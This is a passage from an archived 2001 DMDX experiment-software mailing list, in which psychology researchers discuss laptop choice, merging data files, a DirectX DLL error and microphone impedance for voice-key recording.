DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:02 PM 2/26/01 +1300, you wrote: >I need to buy a laptop to run DMDX and was wondering if anyone has bought >something this year that suits. The nice MARCS people suggested a Dell >Inspiron, but the Dell people say a Latitude model, and our computer guy >says don't buy a Dell at all and get a Toshiba. Get the Dell. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost >From DMDX-owner@psy1.psych.arizona.edu Sun Feb 25 23:12:10 2001 Received: from mailhost.auckland.ac.nz (mailhost.auckland.ac.nz [130.216.1.4]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id XAA16449 for ; Sun, 25 Feb 2001 23:12:01 -0700 Received: from foaex01.auckland.ac.nz (foaex01.auckland.ac.nz [130.216.239.8]) by mailhost.auckland.ac.nz (8.9.2/8.9.2/8.9.2-ua) with ESMTP id TAA08329 for ; Mon, 26 Feb 2001 19:12:00 +1300 (NZDT) Received: by foaex01.auckland.ac.nz with Internet Mail Service (5.5.2650.21) id ; Mon, 26 Feb 2001 19:11:37 +1300 Message-ID: From: ""Rebecca Godfrey (FOA EDU)"" To: ""'DMDX@psy1.psych.arizona.edu'"" Subject: [DMDX] RE: Re: What laptop to buy Date: Mon, 26 Feb 2001 19:11:34 +1300 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list the inspiron or the latitude? Thanks Rebecca -----Original Message----- From: j.c.f. [mailto:jforster@psy1.psych.arizona.edu] Sent: Monday, 26 February 2001 5:07 p.m. To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: What laptop to buy At 04:02 PM 2/26/01 +1300, you wrote: >I need to buy a laptop to run DMDX and was wondering if anyone has bought >something this year that suits. The nice MARCS people suggested a Dell >Inspiron, but the Dell people say a Latitude model, and our computer guy >says don't buy a Dell at all and get a Toshiba. Get the Dell. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 26 00:10:40 2001 Received: from currawong.maccs.mq.edu.au (root@currawong2.psy.mq.edu.au [137.111.47.11]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id AAA16620 for ; Mon, 26 Feb 2001 00:10:33 -0700 Received: (from nobody@localhost) by currawong.maccs.mq.edu.au (8.9.3/8.8.7) id SAA15532 for DMDX@psy1.psych.arizona.edu; Mon, 26 Feb 2001 18:10:20 +1100 From: Anna Woollams To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: What laptop to buy Message-ID: <983171420.3a9a015c2e648@www.maccs.mq.edu.au> Date: Mon, 26 Feb 2001 18:10:20 +1100 (EST) References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Rebecca, > the inspiron or the latitude? > > Thanks > Rebecca I've run an older version of DMDX on an Inspiron 3000 (no longer available - not sure what model they're up to now), and more recently on a Latitude (sorry - I don't have the model number handy). So I'd say you could use either, but it's always a bit of a lottery with everything changing so fast. Good luck! Anna W. >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 26 03:24:11 2001 Received: from navy.csi.cam.ac.uk (exim@navy.csi.cam.ac.uk [131.111.8.49]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA17008 for ; Mon, 26 Feb 2001 03:23:58 -0700 Received: from sjb90.trin.cam.ac.uk ([131.111.212.253] helo=sjb90) by navy.csi.cam.ac.uk with smtp (Exim 3.16 #1) id 14XKoq-0006wL-00 for DMDX@psy1.psych.arizona.edu; Mon, 26 Feb 2001 10:23:52 +0000 Message-ID: <084b01c09fde$2f923140$fdd46f83@sjb90> From: ""Stuart Bell"" To: References: Subject: [DMDX] RE: Re: What laptop to buy Date: Mon, 26 Feb 2001 10:23:39 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Folks, > the inspiron or the latitude? I've got a Dell Latitude CPx H500 on which I run DMDX. I've experienced several problems with the computer - most notable is that the sound card (an ESS Maestro) is really quite appalling. The Win98 drivers for the Maestro are hopelessly out-of-date, when I try to record I often get divide errors that Dell are unable to fix and I occasionally get white noise emitted from the speakers instead of sound. This is all turning a blind eye to the fact that in the three months that I've owned this computer I've had an engineer out three times due to different bits snapping or malfunctioning in one way or another... Even the Dell engineer said that Inspirons are better made than Latitudes... Hope that helps! Stuart. >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 26 09:03:37 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA17698 for ; Mon, 26 Feb 2001 09:03:28 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (5.1.056) id 3A6F756100286714 for DMDX@psy1.psych.arizona.edu; Mon, 26 Feb 2001 09:03:27 -0700 Message-Id: <5.0.2.1.2.20010226090207.009e8cb0@psy1.psych.arizona.edu> Date: Mon, 26 Feb 2001 09:03:07 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] RE: Re: What laptop to buy In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:11 PM 2/26/01 +1300, you wrote: >the inspiron or the latitude? Inspriron. You basically want to buy as good a laptop as possible in the vain hope that it'll have half way decent hardware in it compared to a cheap desktop PC. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 26 09:38:18 2001 Received: from groupwise1.duc.auburn.edu (groupwise1.duc.auburn.edu [131.204.2.92]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA17826 for ; Mon, 26 Feb 2001 09:38:11 -0700 Received: from Auburn-Message_Server by groupwise1.duc.auburn.edu with Novell_GroupWise; Mon, 26 Feb 2001 10:37:46 -0600 Message-Id: Date: Mon, 26 Feb 2001 10:37:45 -0600 From: ""Nan Jiang"" To: Subject: [DMDX] download in dmdx? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list When I run the same expriment on 4 different computers, how do I put the data together? Do I have to do it manually or is there anything like ""download"" in dm that automatically collapse data into a single dtp file? assistance appreciated. Nan Jiang Nan Jiang, Ph.D. Assistant Professor Department of English Auburn University Auburn, AL 36849 (334) 844-9070 jiangna@auburn.edu >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 26 10:42:23 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA18038 for ; Mon, 26 Feb 2001 10:42:14 -0700 Received: from pc057 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Mon, 26 Feb 2001 17:42:12 GMT Message-Id: <200102261742.RAA12047@mailhost.mrc-cbu.cam.ac.uk> Date: Mon, 26 Feb 2001 17:43:46 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: download in dmdx? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:37 26/02/01 -0600, you wrote: >When I run the same expriment on 4 different computers, how do I put the >data together? Do I have to do it manually or is there anything like >""download"" in dm that automatically collapse data into a single dtp >file? assistance appreciated. I would use Matt Davis's getdat program. It creates files that will open in Excel and so you can easily stick the data together. http://www.mrc-cbu.cam.ac.uk/~matt.davis/dmdx.html - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 241 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Mon Feb 26 10:42:28 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA18044 for ; Mon, 26 Feb 2001 10:42:20 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E0028E567 for DMDX@psy1.psych.arizona.edu; Mon, 26 Feb 2001 10:42:19 -0700 Message-Id: <4.3.1.1.20010226103234.00e5dc40@kforster.inbox.email.arizona.edu> Date: Mon, 26 Feb 2001 10:42:22 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: download in dmdx? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:37 AM 2/26/01 -0600, you wrote: >When I run the same expriment on 4 different computers, how do I put the >data together? Do I have to do it manually or is there anything like >""download"" in dm that automatically collapse data into a single dtp >file? assistance appreciated. I assume you must be using the .azk output option. If you specify on the parameter line of your .rtf file, you'll get DM-type .dtp files, and you can then use the DOS program UNLOAD.EXE just as you did before. But if you have .azk files as output, you don't have a comparable program that will append the .azk files to a common file on another drive (either a floppy or a network drive). This is a gaping hole in our software, which Jonathan would say is very trivial. A DOS batch file using the APPEND option would do the trick, but a Windows version would be nicer. We will fix this soon. For the time being, what I do is convert the .azk file to a .dtp file using AZK2DTP.EXE, and then proceed in DM mode. This is fine, just so long as you don't have any item number greater than 512. One thing to watch. If you do this, remember to rename your .azk files if you are going to run more subjects. Otherwise you'll include the subjects twice. --Ken Forster >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 27 08:31:22 2001 Received: from rly-ip02.mx.aol.com (rly-ip02.mx.aol.com [152.163.225.160]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA20675 for ; Tue, 27 Feb 2001 08:30:57 -0700 Received: from tot-mtc-tc.proxy.aol.com (tot-mtc-tc.proxy.aol.com [64.12.105.131]) by rly-ip02.mx.aol.com (8.8.8/8.8.8/AOL-5.0.0) with ESMTP id IAA12106 for ; Tue, 27 Feb 2001 08:16:41 -0500 (EST) Received: from oemcomputer (ACAF02C0.ipt.aol.com [172.175.2.192]) by tot-mtc-tc.proxy.aol.com (8.10.0/8.10.0) with SMTP id f1RDGXw04711 for ; Tue, 27 Feb 2001 08:16:34 -0500 (EST) From: ""Paul Mandell"" To: Subject: [DMDX] RE: What laptop to buy Date: Tue, 27 Feb 2001 07:22:10 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit In-Reply-To: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I run DMDX on an IBM Thinkpad...quite well and quite portably... -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of Rebecca Godfrey (FOA EDU) Sent: Sunday, February 25, 2001 9:02 PM To: 'DMDX@psy1.psych.arizona.edu' Subject: [DMDX] What laptop to buy I need to buy a laptop to run DMDX and was wondering if anyone has bought something this year that suits. The nice MARCS people suggested a Dell Inspiron, but the Dell people say a Latitude model, and our computer guy says don't buy a Dell at all and get a Toshiba. Thanks for your help, Rebecca ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 27 14:11:55 2001 Received: from dvorak.siteprotect.com (dvorak.siteprotect.com [64.26.0.12]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA21434 for ; Tue, 27 Feb 2001 14:11:45 -0700 Received: from burninglotus.com (cgs8188.cgs.edu [134.173.8.188]) by dvorak.siteprotect.com (8.9.3/8.9.3) with ESMTP id PAA20581 for ; Tue, 27 Feb 2001 15:11:44 -0600 Message-ID: <3A9C180E.ABD01084@burninglotus.com> Date: Tue, 27 Feb 2001 13:11:42 -0800 From: Mike Dobbs MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] DLL error Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi there I'm trying to install DMDX on a Windows 95 machine. When I try to run TimeDX or DMDX, I get the following error message: ""A required .DLL file, DINPUT.DLL, was not found."" Any suggestions? Thanks! Mike Dobbs, M.A. Senior Project Coordinator Department of Psychology Claremont Graduate University >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 27 18:50:34 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA22055 for ; Tue, 27 Feb 2001 18:50:21 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by phobos.email.Arizona.EDU (5.1.056) id 3A6F7A1E002B7D02 for DMDX@psy1.psych.arizona.edu; Tue, 27 Feb 2001 18:50:20 -0700 Message-Id: <5.0.2.1.2.20010227184907.009f1570@psy1.psych.arizona.edu> Date: Tue, 27 Feb 2001 18:50:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DLL error In-Reply-To: <3A9C180E.ABD01084@burninglotus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:11 PM 2/27/01 -0800, you wrote: >Hi there > >I'm trying to install DMDX on a Windows 95 machine. When I try to run >TimeDX or DMDX, I get the following error message: > >""A required .DLL file, DINPUT.DLL, was not found."" > >Any suggestions? Search the archives, read the help, almost anything really. You need to install a later version of DirectX. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 27 20:29:51 2001 Received: from rufus.comms.unsw.EDU.AU (rufus.comms.unsw.EDU.AU [149.171.96.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA22342 for ; Tue, 27 Feb 2001 20:29:34 -0700 Received: from B153.student.unsw.edu.au ([129.94.35.118]) by rufus.comms.unsw.EDU.AU (8.8.8/8.8.8 Kenso-Central-NO-SPAM) with ESMTP id OAA13115 for ; Wed, 28 Feb 2001 14:29:22 +1100 (EST) Message-Id: <5.0.2.1.0.20010228142521.00a01ec0@pop3.student.unsw.edu.au> Date: Wed, 28 Feb 2001 14:32:09 +1100 To: DMDX@psy1.psych.arizona.edu From: Goran Lazendic Subject: [DMDX] Re: DLL error In-Reply-To: <5.0.2.1.2.20010227184907.009f1570@psy1.psych.arizona.edu> References: <3A9C180E.ABD01084@burninglotus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi there Could somoene give me suggestion, which kind of microphone is best to use with DMDX. Goran Lazendic ******************************************************** Goran Lazendic School of Psychology University of New South Wales UNSW Sydney NSW 2052 Australia Ph: 61-2-93851694 Fax: 61-2-93853641 E-mail: g.lazendic@student.unsw.edu.au ******************************************************** >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 27 20:49:11 2001 Received: from rufus.comms.unsw.EDU.AU (rufus.comms.unsw.EDU.AU [149.171.96.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA22449 for ; Tue, 27 Feb 2001 20:49:04 -0700 Received: from B153.student.unsw.edu.au ([129.94.35.118]) by rufus.comms.unsw.EDU.AU (8.8.8/8.8.8 Kenso-Central-NO-SPAM) with ESMTP id OAA19862 for ; Wed, 28 Feb 2001 14:49:01 +1100 (EST) Message-Id: <5.0.2.1.0.20010228145041.009fc210@pop3.student.unsw.edu.au> Date: Wed, 28 Feb 2001 14:51:51 +1100 To: DMDX@psy1.psych.arizona.edu From: Goran Lazendic Subject: [DMDX] Microphone and DMDX In-Reply-To: <5.0.2.1.0.20010228142521.00a01ec0@pop3.student.unsw.edu.au > References: <5.0.2.1.2.20010227184907.009f1570@psy1.psych.arizona.edu> <3A9C180E.ABD01084@burninglotus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:32 PM 28/02/01, you wrote: >Hi there > >Could somoene give me suggestion, which kind of microphone is best to use >with DMDX. > >Goran Lazendic > > > > >******************************************************** >Goran Lazendic >School of Psychology >University of New South Wales >UNSW Sydney NSW 2052 >Australia >Ph: 61-2-93851694 >Fax: 61-2-93853641 >E-mail: g.lazendic@student.unsw.edu.au > >******************************************************** > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ******************************************************** Goran Lazendic School of Psychology University of New South Wales UNSW Sydney NSW 2052 Australia Ph: 61-2-93851694 Fax: 61-2-93853641 E-mail: g.lazendic@student.unsw.edu.au ******************************************************** >From DMDX-owner@psy1.psych.arizona.edu Tue Feb 27 22:32:31 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id WAA22704 for ; Tue, 27 Feb 2001 22:32:24 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.30) by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561002B568E for DMDX@psy1.psych.arizona.edu; Tue, 27 Feb 2001 22:32:23 -0700 Message-Id: <5.0.2.1.2.20010227222757.009ed070@psy1.psych.arizona.edu> Date: Tue, 27 Feb 2001 22:32:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Microphone and DMDX In-Reply-To: <5.0.2.1.0.20010228145041.009fc210@pop3.student.unsw.edu.au > References: <5.0.2.1.0.20010228142521.00a01ec0@pop3.student.unsw.edu.au > <5.0.2.1.2.20010227184907.009f1570@psy1.psych.arizona.edu> <3A9C180E.ABD01084@burninglotus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:51 PM 2/28/01 +1100, you wrote: >At 02:32 PM 28/02/01, you wrote: >>Hi there >> >>Could somoene give me suggestion, which kind of microphone is best to use >>with DMDX. One that matches your sound card's input impedance. This is really quite tricky, unless you're a technician and understand input impedance about the only way to ascertain what is best is to get one of each type (high and low input impedance) and see what works best. Other than that the sure fire method is to buy a preamp and plug the mic into that and then use LineIn on the sound card. Usually it's best to get some application like CoolEdit reliably recording data and then get DMDX's vox stuff going. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 07:01:00 2001 Received: from darwin.psy.fsu.edu (root@darwin.psy.fsu.edu [128.186.66.5]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA23709 for ; Wed, 28 Feb 2001 07:00:48 -0700 Received: from john.psy.fsu.edu (dial103.acns.fsu.edu [146.201.32.103]) by darwin.psy.fsu.edu (8.9.3/8.9.3) with ESMTP id JAA17755 for ; Wed, 28 Feb 2001 09:00:36 -0500 Message-Id: <5.0.1.4.0.20010228084941.024d2390@psy.fsu.edu> Date: Wed, 28 Feb 2001 08:58:49 -0500 To: DMDX@psy1.psych.arizona.edu From: ""John P. Kline"" Subject: [DMDX] Re: Microphone and DMDX In-Reply-To: <5.0.2.1.2.20010227222757.009ed070@psy1.psych.arizona.edu> References: <5.0.2.1.0.20010228145041.009fc210@pop3.student.unsw.edu.au > <5.0.2.1.0.20010228142521.00a01ec0@pop3.student.unsw.edu.au > <5.0.2.1.2.20010227184907.009f1570@psy1.psych.arizona.edu> <3A9C180E.ABD01084@burninglotus.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list You can also purchase a low impedance microphone and then add an impedance adaptor if necessary. The disadvantage to this is that the most common adaptors are male cannon plug to 1/4 phone jack... most sound cards, with the exception of the Soundblaster Live Platinum with Live Drive (excellent card, BTW... very clean, very good signal/noise ratio, and excellent latencies with no appreciable variability), which has a 1/4 microphone in the front. You used to be able to purchase microphone impedance adaptors at Radio Shack. If I am not mistaken, they are pretty unsophisticated (i.e. they consist simply of a series resistor). This being said, you will probably want a clean microphone with good signal/noise ratio, a wide frequency response, and one that is relatively directional. I don't know this for a fact, but I imagine that these things matter for VOX accuracy.. John Kline At 10:32 PM 2/27/01 -0700, j.c.f. wrote: >At 02:51 PM 2/28/01 +1100, you wrote: >>At 02:32 PM 28/02/01, you wrote: >>>Hi there >>> >>>Could somoene give me suggestion, which kind of microphone is best to >>>use with DMDX. > > One that matches your sound card's input impedance. This is really > quite tricky, unless you're a technician and understand input impedance > about the only way to ascertain what is best is to get one of each type > (high and low input impedance) and see what works best. Other than that > the sure fire method is to buy a preamp and plug the mic into that and > then use LineIn on the sound card. Usually it's best to get some > application like CoolEdit reliably recording data and then get DMDX's vox > stuff going. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > A jury consists of twelve persons chosen to decide who has the >better lawyer. > - Robert Frost > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 07:01:45 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA23735 for ; Wed, 28 Feb 2001 07:01:39 -0700 Received: from [144.92.195.212] by mail5.doit.wisc.edu id IAA50954 (8.9.1/50); Wed, 28 Feb 2001 08:01:37 -0600 From: ""John J. Curtin"" To: Subject: [DMDX] RE: Re: Microphone and DMDX Date: Wed, 28 Feb 2001 07:58:51 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.0.2.1.2.20010227222757.009ed070@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Dirk, Could you read the below message from another DMDX user and perhaps explain what the problem might be if the mic impedance doesn't match the sound card. Remember I am finishing a first study using DMDX's VOX and voice input. Wanted to make sure that there wasn't some hidden problem in my data. J -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Tuesday, February 27, 2001 11:32 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Microphone and DMDX At 02:51 PM 2/28/01 +1100, you wrote: >At 02:32 PM 28/02/01, you wrote: >>Hi there >> >>Could somoene give me suggestion, which kind of microphone is best to use >>with DMDX. >>Goran Lazendic One that matches your sound card's input impedance. This is really quite tricky, unless you're a technician and understand input impedance about the only way to ascertain what is best is to get one of each type (high and low input impedance) and see what works best. Other than that the sure fire method is to buy a preamp and plug the mic into that and then use LineIn on the sound card. Usually it's best to get some application like CoolEdit reliably recording data and then get DMDX's vox stuff going. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 07:07:38 2001 Received: from mail5.doit.wisc.edu (mail5.doit.wisc.edu [144.92.9.76]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA23780 for ; Wed, 28 Feb 2001 07:07:32 -0700 Received: from [144.92.195.212] by mail5.doit.wisc.edu id IAA54930 (8.9.1/50); Wed, 28 Feb 2001 08:07:31 -0600 From: ""John J. Curtin"" To: Subject: [DMDX] RE: RE: Re: Microphone and DMDX Date: Wed, 28 Feb 2001 08:04:44 -0600 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit In-Reply-To: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Sorry about the last accidental post. My forward on email defaults to reply as well (no more) J -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of John J. Curtin Sent: Wednesday, February 28, 2001 7:59 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Re: Microphone and DMDX Hi Dirk, Could you read the below message from another DMDX user and perhaps explain what the problem might be if the mic impedance doesn't match the sound card. Remember I am finishing a first study using DMDX's VOX and voice input. Wanted to make sure that there wasn't some hidden problem in my data. J -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: Tuesday, February 27, 2001 11:32 PM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Microphone and DMDX At 02:51 PM 2/28/01 +1100, you wrote: >At 02:32 PM 28/02/01, you wrote: >>Hi there >> >>Could somoene give me suggestion, which kind of microphone is best to use >>with DMDX. >>Goran Lazendic One that matches your sound card's input impedance. This is really quite tricky, unless you're a technician and understand input impedance about the only way to ascertain what is best is to get one of each type (high and low input impedance) and see what works best. Other than that the sure fire method is to buy a preamp and plug the mic into that and then use LineIn on the sound card. Usually it's best to get some application like CoolEdit reliably recording data and then get DMDX's vox stuff going. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A jury consists of twelve persons chosen to decide who has the better lawyer. - Robert Frost ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Wed Feb 28 15:58:53 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA25053 for ; Wed, 28 Feb 2001 15:58:22 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3A6F7561002C9B96 for DMDX@psy1.psych.arizona.edu; Wed, 28 Feb 2001 15:58:20 -0700 Message-ID: <3A6F75620001CF85@deimos.email.Arizona.EDU> Date: Wed, 28 Feb 2001 15:58:20 -0700 From: ""Pamela Perschler"" Subject: [DMDX] response contingency To: ""DMDX"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am running a program in which I want the frames to advance when the 